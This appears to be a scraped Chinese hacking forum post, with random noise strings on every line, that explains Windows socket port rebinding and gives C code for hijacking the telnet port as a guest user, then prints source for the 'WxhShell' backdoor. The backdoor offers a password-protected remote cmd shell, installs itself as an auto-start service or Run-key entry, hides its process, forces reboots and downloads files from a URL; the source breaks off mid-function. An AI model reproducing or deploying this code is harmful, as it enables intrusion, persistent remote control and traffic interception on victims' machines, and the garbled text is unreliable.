在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
E`
:ZH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
S}XB
| 1t}
(+NNjH saddr.sin_family = AF_INET;
o+PQ;Dl HY@kw>I saddr.sin_addr.s_addr = htonl(INADDR_ANY);
N>uZ t2 4DG 9`5. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
98"z0nI% sYW1T @ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4okHAv8; n]kQtjJ 这意味着什么?意味着可以进行如下的攻击:
fS8XuT ?(|TP^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
k}+MvGq |TNiKy 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&Nj:XX;X Gx~"iM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Cv?<}q .j+2x[`l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Huug_E+ `SSP53R(0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
O4'kS
@ ?[*@T2Ck 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Y'+F0IZ+ 8xeun~e"vS 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Xm0&U?dZB oK(W)[u #include
[xp~@5r' #include
<*b]JY V@ #include
wAj(v6 #include
ps{&WT3a DWORD WINAPI ClientThread(LPVOID lpParam);
PEwW*4Xo int main()
t6H2tP\AS {
^|a&%wxA WORD wVersionRequested;
lL(}dbT~N DWORD ret;
lhW#IiX WSADATA wsaData;
+lXdRc`6 BOOL val;
qAuUe=w%p SOCKADDR_IN saddr;
=_H*fhXS SOCKADDR_IN scaddr;
ux/[d6To int err;
7kWZMi SOCKET s;
;{F;e)${M SOCKET sc;
}y-AoG int caddsize;
4,R\3`b HANDLE mt;
s1*WK&@ DWORD tid;
xYzcV%-Pm wVersionRequested = MAKEWORD( 2, 2 );
t0AqGrn err = WSAStartup( wVersionRequested, &wsaData );
S3JygN* if ( err != 0 ) {
dKN3ZCw*gF printf("error!WSAStartup failed!\n");
=."WvBKg return -1;
iu:p&h }
ADwwiq#E saddr.sin_family = AF_INET;
p1`'1`.3 Rp4BU"&sU //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
f@x( ,p Br.$L saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
L{o >D" saddr.sin_port = htons(23);
>>
8KL`l if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ZCOuv6V+ {
*|.yX%"k printf("error!socket failed!\n");
a\HtxR8L return -1;
F6neG~Y }
{H7$uiq3:B val = TRUE;
dA M ilTo //SO_REUSEADDR选项就是可以实现端口重绑定的
7HR%rO?' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Af!
W
K= {
7+2aG printf("error!setsockopt failed!\n");
bju,p"J1-E return -1;
"351s3ff
}
]aMa*fF //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
N%M>,wT //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
BzG!Rg|J //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
fAA@ziKg ss M9t if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
d9e H}#OY {
JwG5#CFu^ ret=GetLastError();
nH3b<k;S printf("error!bind failed!\n");
0 S`b;f return -1;
9Av- ;!] }
~?8x0 listen(s,2);
BX)cV while(1)
W~@GK {
%_X[{( caddsize = sizeof(scaddr);
=w>>7u$4 //接受连接请求
bMK'J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
MdTd$ 4J3 if(sc!=INVALID_SOCKET)
!?>p]0*< {
OmUw.VH mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Zn=JmZ if(mt==NULL)
]\b1~ki!F {
vEee/+1? printf("Thread Creat Failed!\n");
kHIQ/\3?Q break;
[ QL<&:s& }
G QB^ }
HI`A;G] CloseHandle(mt);
~Sem_U`G }
''
A[`,3 closesocket(s);
)bN3-_ WSACleanup();
V/[,1W[B return 0;
B[m{2XzGH }
+`vZg^_c` DWORD WINAPI ClientThread(LPVOID lpParam)
qZ]VS/5A {
(j 8,n<o SOCKET ss = (SOCKET)lpParam;
Q8/0Cb/ SOCKET sc;
D@vvy6>~s unsigned char buf[4096];
a_fW{;}[ SOCKADDR_IN saddr;
LyPBFo[? long num;
o5G "J"vxe DWORD val;
s$y#Ufz DWORD ret;
C5n=2luI_ //如果是隐藏端口应用的话,可以在此处加一些判断
Oj|p`Dzh //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
lL+^n~g saddr.sin_family = AF_INET;
CzsY=DBH= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Dp |FyP_w saddr.sin_port = htons(23);
!?-5hh1\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
r#Oz0=0u {
_w,0wn9N$ printf("error!socket failed!\n");
Ak-7}i return -1;
MldL"*HW: }
\iE9&3Ie val = 100;
u#k6v\/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
YbBH6RZr {
dGW7,B~ ret = GetLastError();
vgp%;-p( return -1;
^E?V+3mV }
4 AmF^H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JY8"TQ$x {
^{+:w:g ret = GetLastError();
s=@CeV@4W return -1;
G(3la3\( }
E&tmWOMj> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Gbm_xEPC {
5Cyjq0+ printf("error!socket connect failed!\n");
: )*Ge3 closesocket(sc);
m-FDCiN> closesocket(ss);
iBW6<2@oZF return -1;
RvZ-w$E&? }
e(% Solkm? while(1)
/{)cI^9 {
Gv3Fg[MA@c //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
y8n1IZ*#SZ //如果是嗅探内容的话,可以再此处进行内容分析和记录
T FA //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
b1^Yxe#L num = recv(ss,buf,4096,0);
,ST.pu8N. if(num>0)
/<(ik&%N send(sc,buf,num,0);
O,Gn2Do else if(num==0)
v23Uh2[@Yy break;
*pUV-^uo num = recv(sc,buf,4096,0);
xVX||rrh if(num>0)
cW^)$>A send(ss,buf,num,0);
i1Sc/ else if(num==0)
17 iq break;
ga9:*G!b{) }
O9&:(2'f closesocket(ss);
Z_WTMs:x! closesocket(sc);
G")EE#W$} return 0 ;
5&Kn # }
kU>|E<c* E}j8p_p zFQkUgb ==========================================================
fzG1<Gem _VJwC| 下边附上一个代码,,WXhSHELL
oT{yttSNo ZTC1t_ ==========================================================
z6r/
w 2,nCGSfc #include "stdafx.h"
M:f=JuAx 3+uoK f[ #include <stdio.h>
XB 7^Ka #include <string.h>
"
CoR?[,x #include <windows.h>
,]qX_`qF #include <winsock2.h>
.g?,:$`0D? #include <winsvc.h>
nQ3goVRFP #include <urlmon.h>
WN1-J(x6 C
P v}A #pragma comment (lib, "Ws2_32.lib")
o@;_(knb #pragma comment (lib, "urlmon.lib")
Y &+/[[ *lO+^\HXD #define MAX_USER 100 // 最大客户端连接数
TBT*j&!L #define BUF_SOCK 200 // sock buffer
WfO$q^'?DP #define KEY_BUFF 255 // 输入 buffer
DQnWLC"u !\4FIs&Qv #define REBOOT 0 // 重启
Pk_{{Z(1o #define SHUTDOWN 1 // 关机
J :(\o=5 5 FWN%JCOj@ #define DEF_PORT 5000 // 监听端口
N\&;R$[9:
,^C;1ph #define REG_LEN 16 // 注册表键长度
') y~d #define SVC_LEN 80 // NT服务名长度
)KQum`pO ~ riw7" // 从dll定义API
b<7qmg3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
3<V!y&a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
P9wDTZ
:4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
nQmYeM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
83*k.]S` 5~0;R`D // wxhshell配置信息
LdUpVO8)l struct WSCFG {
;mlIWn int ws_port; // 监听端口
]~ UkD*Ct char ws_passstr[REG_LEN]; // 口令
giJyMd}x int ws_autoins; // 安装标记, 1=yes 0=no
RVx<2,[' char ws_regname[REG_LEN]; // 注册表键名
k<qH<<r* char ws_svcname[REG_LEN]; // 服务名
6<nO2 GW char ws_svcdisp[SVC_LEN]; // 服务显示名
X\RTHlw'] char ws_svcdesc[SVC_LEN]; // 服务描述信息
*X=-^\G char ws_passmsg[SVC_LEN]; // 密码输入提示信息
W7"sWaOhW int ws_downexe; // 下载执行标记, 1=yes 0=no
v}D! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
*?&O8SSBH char ws_filenam[SVC_LEN]; // 下载后保存的文件名
B35f5m7r $g;xw?~# };
"FS.&&1( #9Z-Hd< // default Wxhshell configuration
&nProzC struct WSCFG wscfg={DEF_PORT,
>YhqL62!a "xuhuanlingzhe",
.#|pje^ 1,
i[#Tn52D "Wxhshell",
UkV] F] "Wxhshell",
8ipLq`) "WxhShell Service",
v%[mt`I "Wrsky Windows CmdShell Service",
Pme?`YO$x "Please Input Your Password: ",
9Z
4R!Q 1,
:g";p.~= "
http://www.wrsky.com/wxhshell.exe",
XU7bWafy "Wxhshell.exe"
$)V4Eu; };
-2_$zk*n zPYa@0I
// 消息定义模块
&@-glF5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
K e8cfd~c char *msg_ws_prompt="\n\r? for help\n\r#>";
$n"Llw&) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
bHnQLJ char *msg_ws_ext="\n\rExit.";
V
"" char *msg_ws_end="\n\rQuit.";
)`^:G3w char *msg_ws_boot="\n\rReboot...";
Y~xZ{am char *msg_ws_poff="\n\rShutdown...";
2Oa-c|F char *msg_ws_down="\n\rSave to ";
Qrh9JFqdG6 |?kH]Trr char *msg_ws_err="\n\rErr!";
,YTIYG]( char *msg_ws_ok="\n\rOK!";
p2K9R4 3>6o=7/PU char ExeFile[MAX_PATH];
'CX
KphlWs int nUser = 0;
b.;W|$ . HANDLE handles[MAX_USER];
6wgOmyJx int OsIsNt;
T\>=o] ,}0pK\Y>$ SERVICE_STATUS serviceStatus;
.bGeZwvf:G SERVICE_STATUS_HANDLE hServiceStatusHandle;
L')zuI <9~qAq7^ // 函数声明
b&1@rE- int Install(void);
S)%x22sqf int Uninstall(void);
t/g}cR^Q int DownloadFile(char *sURL, SOCKET wsh);
s-B\8&^C int Boot(int flag);
X'm2uOEj void HideProc(void);
8h97~$7) int GetOsVer(void);
Jk*MxlA.b int Wxhshell(SOCKET wsl);
NL 37Y{b void TalkWithClient(void *cs);
#,56vVY int CmdShell(SOCKET sock);
$BY{:#a] int StartFromService(void);
O}Jb,?p int StartWxhshell(LPSTR lpCmdLine);
&bRH(yF KJiwM(o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
YaU A}0cW VOID WINAPI NTServiceHandler( DWORD fdwControl );
6_Kz}PQ q}jf&xUWzH // 数据结构和表定义
bBX~ZWw SERVICE_TABLE_ENTRY DispatchTable[] =
jVz1`\Nje {
'<Gqu_- {wscfg.ws_svcname, NTServiceMain},
@j6D#./7j {NULL, NULL}
~a $%
a };
xph60T )zN
)7 // 自我安装
CvN~ int Install(void)
XHr{\/4V {
:$j~;)2 char svExeFile[MAX_PATH];
Gm.hBNgp HKEY key;
!Xm: $KH strcpy(svExeFile,ExeFile);
7}Sw(g)o7 Q$%@.@ // 如果是win9x系统,修改注册表设为自启动
=%L^!//c if(!OsIsNt) {
d,77L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
O,cx9N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
($wYawz RegCloseKey(key);
;IT^SHym if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#d~"bn q;c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
zkMQ=,[ RegCloseKey(key);
m"*:XfOL return 0;
RY'y%6Z]ZO }
oZ}e
w!V }
g:Dg?_o }
D&shrKFx else {
m{*l6`dF VxCH}&! // 如果是NT以上系统,安装为系统服务
9c 6=[3)V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,J|};s+ if (schSCManager!=0)
AOe~VW {
fAs:[ SC_HANDLE schService = CreateService
^{w&&+#,q (
bbJa,}R schSCManager,
( ;"ICk& wscfg.ws_svcname,
",}VB8K wscfg.ws_svcdisp,
)nY/ RO SERVICE_ALL_ACCESS,
/dfZ>k8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}DSz_^ SERVICE_AUTO_START,
6voK{C4J SERVICE_ERROR_NORMAL,
o$-Phl svExeFile,
UZ1lI> NULL,
Z9U*SS5s, NULL,
"a: ; NULL,
$?\],T NULL,
J0#% *B NULL
Ur`v*LT}~ );
78%2#;;G if (schService!=0)
8<^,<? {
r
(uM$R$o CloseServiceHandle(schService);
Pc3u`Q L? CloseServiceHandle(schSCManager);
2C-u2;X2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
d^w_rL strcat(svExeFile,wscfg.ws_svcname);
BWs\'B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
rLwc=(| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
; H3kb
+ RegCloseKey(key);
d|TIrlA return 0;
UW+I 8\^ }
8X%;29tow }
$\bH5|Hk] CloseServiceHandle(schSCManager);
@:[/uqL }
U0rz 4fxc }
&^<94l I$Z"o9" return 1;
+|.#<]GA }
{b?)|@)is /EC m // 自我卸载
-l\@50,D int Uninstall(void)
zme:U![ {
0h7\zoZ5 HKEY key;
1)r1/0 ,y0kzwPR1 if(!OsIsNt) {
Cxh9rUe. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
V><P` RegDeleteValue(key,wscfg.ws_regname);
y?rsfIth` RegCloseKey(key);
s#Le`pGoW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ev()2 80 RegDeleteValue(key,wscfg.ws_regname);
%$cwbh-{{ RegCloseKey(key);
ecHy. 7H return 0;
?eu=0|d }
3] !(^N>V }
r[gV`khka }
.,c8cq? else {
;7hf'k rdK.*oT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
PQfx0n, if (schSCManager!=0)
v uJ~Lg{ {
}$7Hf+G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
{*|yU" if (schService!=0)
dlWw=^ {
p?}Rolk7 if(DeleteService(schService)!=0) {
j#*K[ CloseServiceHandle(schService);
+?c&Gazi CloseServiceHandle(schSCManager);
zYep
V return 0;
TqlUe@E }
u%|VmM> CloseServiceHandle(schService);
X)yTx8v4 }
lu >>~vy6 CloseServiceHandle(schSCManager);
snyx$Qx( }
t*DM^.@ }
ZFRKh:| ^D h2_vbI return 1;
i{`>!)U }
8^^al!0K~ "u%$`* // 从指定url下载文件
7
724,+2N int DownloadFile(char *sURL, SOCKET wsh)
|BXq8Erh {
Ad"::&&Wk HRESULT hr;
b*bR<|dT j char seps[]= "/";
-du+iOe? char *token;
J|ILG char *file;
DF|qNX char myURL[MAX_PATH];
eZUK<&0x5 char myFILE[MAX_PATH];
UL oTPx@N .z_^_@qdm strcpy(myURL,sURL);
2/;KZ+U& token=strtok(myURL,seps);
_-D(N/ while(token!=NULL)
ic3qb<2 {
ALKhZFuz file=token;
p@!"x({@l token=strtok(NULL,seps);
im&|H- }
M0^r!f>O @ O%m, GetCurrentDirectory(MAX_PATH,myFILE);
M5<5(l strcat(myFILE, "\\");
:!3P4?a strcat(myFILE, file);
*fjarZu send(wsh,myFILE,strlen(myFILE),0);
7ed*dXY* send(wsh,"...",3,0);
cd:O@)i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
MHgS5b2 if(hr==S_OK)
>`6^1j(3 return 0;
g'mkhF( else
lRO4-
y return 1;
YKk%lZ.8 js>6Du }
*EotYT s&c^Wr // 系统电源模块
E[$['0 int Boot(int flag)
AKS(WNGEp {
%D&FnTa HANDLE hToken;
`E}2|9 TOKEN_PRIVILEGES tkp;
//WgK{Mt Z3S\@_/; if(OsIsNt) {
6z/8nf +u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
(US8Sc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1Og9VG1^ tkp.PrivilegeCount = 1;
6R?J.&| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
zis-}K< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
!D z:6r if(flag==REBOOT) {
;aD_^XY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0m?ul%= return 0;
& ??)gMM[ }
YpuA,r;" else {
1pcSfN :"1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Muarryh} return 0;
$i =-A }
)hn,rmn
(P }
!'+t)h9^ else {
)`g[k"yB3 if(flag==REBOOT) {
&*0!${B if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
smWA~Aq return 0;
Ir]b.6B }
Y \j &84 else {
6_9w1
,WE if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\ 0:ITz return 0;
AjZT- Q0L }
IPJs$PtKok }
0V1kZ. o]jo R3 return 1;
~L?p/3m }
:pNZQX 8^M5u>=t; // win9x进程隐藏模块
?p$WqVN} void HideProc(void)
dkCSqNFL) {
8_KXli}7= ."3 J;j HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
E{j6OX\ if ( hKernel != NULL )
/AWHG._ {
2y,~i;;_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
89WuxCFS ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
"i#! FreeLibrary(hKernel);
lMP|$C }
uZ
OUp8QQ Wmp\J3 return;
1AhL-Lj }
J@1 (2%)|Z 4,)=r3;&! // 获取操作系统版本
y 5=J6a2. int GetOsVer(void)
!rrjA$P<v {
gzw[^d OSVERSIONINFO winfo;
!WDdq_n*v winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
%d*}:295 GetVersionEx(&winfo);
t7lRMCN
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,ll!19y return 1;
fV[xv4D. else
` 3<#DZ;! return 0;
&9^c-;Vs }
A~h8 >zz*
f0:) // 客户端句柄模块
ZtIK"o-|! int Wxhshell(SOCKET wsl)
L@v0C) {
{x-g?HB SOCKET wsh;
k
9s3@S struct sockaddr_in client;
Xst&QKU DWORD myID;
NbgP,- i3f/{D/ while(nUser<MAX_USER)
6g$+ ))g {
yQ&;#`!' int nSize=sizeof(client);
t6~|T_] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
lJq
%me;4m if(wsh==INVALID_SOCKET) return 1;
i++ F&r[ D4`7,JC}< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
vlE#z if(handles[nUser]==0)
$|AvT;4 closesocket(wsh);
n cihc$V< else
,/Xxj\i nUser++;
E?%k }
'zRd?Z>% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
w}7`Vas9 /@on=~ return 0;
>R.~'A/$F }
;/ p)vR {%~Sbcq4F // 关闭 socket
bp5hS/A^1w void CloseIt(SOCKET wsh)
mA{gj[@:x {
.H9!UQ&It closesocket(wsh);
pW!] nUser--;
x37r{$2 ExitThread(0);
'\
6.GP }
UIzk-.< _{T`ka // 客户端请求句柄
$k}+,tHtJO void TalkWithClient(void *cs)
W6]iJ {
_"z#I
CT( :Rq@ %rL SOCKET wsh=(SOCKET)cs;
f61~%@fE char pwd[SVC_LEN];
=axi0q?} char cmd[KEY_BUFF];
S0kH/A char chr[1];
[_b10Z'{ int i,j;
SkN^ytKE JB**z00; while (nUser < MAX_USER) {
y:pypuwt; 'O2{0 if(wscfg.ws_passstr) {
,P5HR+h if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
yUBic~S //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<sd
Qvlx$- //ZeroMemory(pwd,KEY_BUFF);
+}z
T][9w i=0;
~l.]3wyk while(i<SVC_LEN) {
9/^4W. Ip?Ueaei // 设置超时
_3ZZ-=J:=* fd_set FdRead;
'L= g( struct timeval TimeOut;
E-n!3RQ(w FD_ZERO(&FdRead);
l1!i3m'x FD_SET(wsh,&FdRead);
7dxY07yu TimeOut.tv_sec=8;
Br-bUoua TimeOut.tv_usec=0;
J]$%1Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
{"s9A& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Y$Fbi2A4 jj.)$|` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
d0|Q1R+3 pwd
=chr[0]; 4}96|2L5
if(chr[0]==0xd || chr[0]==0xa) { x+%lNR
pwd=0; ,ad~6.Z_)
break; >uxak2nM-
} vzy/Rq
i++; IHf
A;&b
} 8=t?rA
vR#A7y @!
// 如果是非法用户,关闭 socket ZH.l^'(W
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )]rGGNF*
} R%}OZJ_
%!LrC!6P4
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]ujH7T
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4AUY8Pxp
0p&:9|'z
while(1) { ])0&el3-
@4hxGk=
ZeroMemory(cmd,KEY_BUFF); 7;c{lQOj}
^8E/I]-
// 自动支持客户端 telnet标准 'X{7b
<
j=0; %p^C,B{7w
while(j<KEY_BUFF) { trM8p
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u{exQ[,E
cmd[j]=chr[0]; nL@P{,J
if(chr[0]==0xa || chr[0]==0xd) { hg=\L5R
cmd[j]=0; _d)w, ;m#
break; x4Eq5"F7}
} 0jE,=<W0>
j++; pcm|
} 7|IW\
H`B%6S/
// 下载文件 7zpwP
if(strstr(cmd,"http://")) { `d8}3D
send(wsh,msg_ws_down,strlen(msg_ws_down),0); <S TwylL
if(DownloadFile(cmd,wsh)) JA())0a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?=f\oH$
else 7{/qQGL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T3wR0,
} ,tmo6D6 2
else { I0GL/a4s
Eq'YtqU
switch(cmd[0]) { kRZ(
! X*L<)=nh
// 帮助 rDm>Rm=
case '?': { cb|`)"<HN
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K)@]vw/\
break; .r[J} O"
} LlnIn{C
// 安装 W=PDOzB>K
case 'i': { R+rHa#M_
if(Install()) 2 R 1S>X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j&[63XSe
else 4hZ-^AL"(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :IbrV@gN{@
break; tE<L4;t
} _/P"ulNb
// 卸载 ^J\)cw
case 'r': { xLq+njH E
if(Uninstall()) V ;"?='vVe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <P$b$fh/
else "yL&?B"9@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (|h<{ -L
break; CA[k$Sw*
} ?jz{fU
// 显示 wxhshell 所在路径 |oPqX %?
case 'p': { 7q$9\RR5
char svExeFile[MAX_PATH]; Ay"x<JB{U2
strcpy(svExeFile,"\n\r"); ;MNEe%
TJ
strcat(svExeFile,ExeFile); A7~)h}~
send(wsh,svExeFile,strlen(svExeFile),0); OlMCF.W#3
break; AY,6Ddw
} a5]~%xdK
// 重启 *E+)mB"~
case 'b': { CDoZv""
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y13IrCA2
if(Boot(REBOOT)) }#w>>{Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G@ed2T
else { :8yrtbf$
closesocket(wsh); D;d'ss;
ExitThread(0); F#Z]Xq0r
} q2&&n6PYW
break; ~'v^__8
} r(J7&vR}h
// 关机 lT1*e(I
case 'd': { I{B8'n{cN
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); klv^310
if(Boot(SHUTDOWN)) Scxf5x-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y2<Z"D`
else { LEHlfB#z`@
closesocket(wsh); tH17Z
ExitThread(0); }yS"C fM
} rbQA6_U 5A
break; aH,0+ |
} lt5~rH2
// 获取shell ag[ yM
case 's': { khc5h^0
CmdShell(wsh); \muyL?
closesocket(wsh); B~LB^
n(>@
ExitThread(0); -wvJZ
break; M/Bn^A8@
} pd>EUdbrp&
// 退出 BU]9eF!>h
case 'x': { ?HZ+fS,-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :%!=Ej.J
CloseIt(wsh); )k0bP1oGS
break; /HI#8
} dRas9g
// 离开 } [D[ZLv
case 'q': { |Z#)1K
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3U1xKF
closesocket(wsh); ^9qncvV
WSACleanup(); ;l}TUo
exit(1); B@.U\.
break; [rE,fR
} TX*s T
} z}u
} c>=[|F{{e
4)Z78H%>
// 提示信息 6i=m1Yk
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?%*Zgk!l7
} +!.=M8[
} {#Mz4s`M
5x4(5c5^
return; 8%vk"h:u:
} 1fEV^5I
V"T;3@N/4
// shell模块句柄 cnhYrX^
int CmdShell(SOCKET sock) 5FH#)
{ kmo3<'j{
STARTUPINFO si; -L1{0{Z
ZeroMemory(&si,sizeof(si)); ;Q?
Qwda
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UAUo)VVi"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )v0m7Lv#/
PROCESS_INFORMATION ProcessInfo; A%%WPBk{O
char cmdline[]="cmd"; ExY
~.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zF\k*B
return 0; wzP>Cq
} SijCE~P
}3M\&}=8
// 自身启动模式 &d9";V"E
int StartFromService(void) F0Rk[GM
{ vF1]L]z:?
typedef struct !mq+Oz~
{ 7tit>dJ
DWORD ExitStatus; HQv#\Xi1
DWORD PebBaseAddress; eX;"kO
DWORD AffinityMask; t6s#19g
DWORD BasePriority; Y7!,s-v4W
ULONG UniqueProcessId; -DU[dU*~
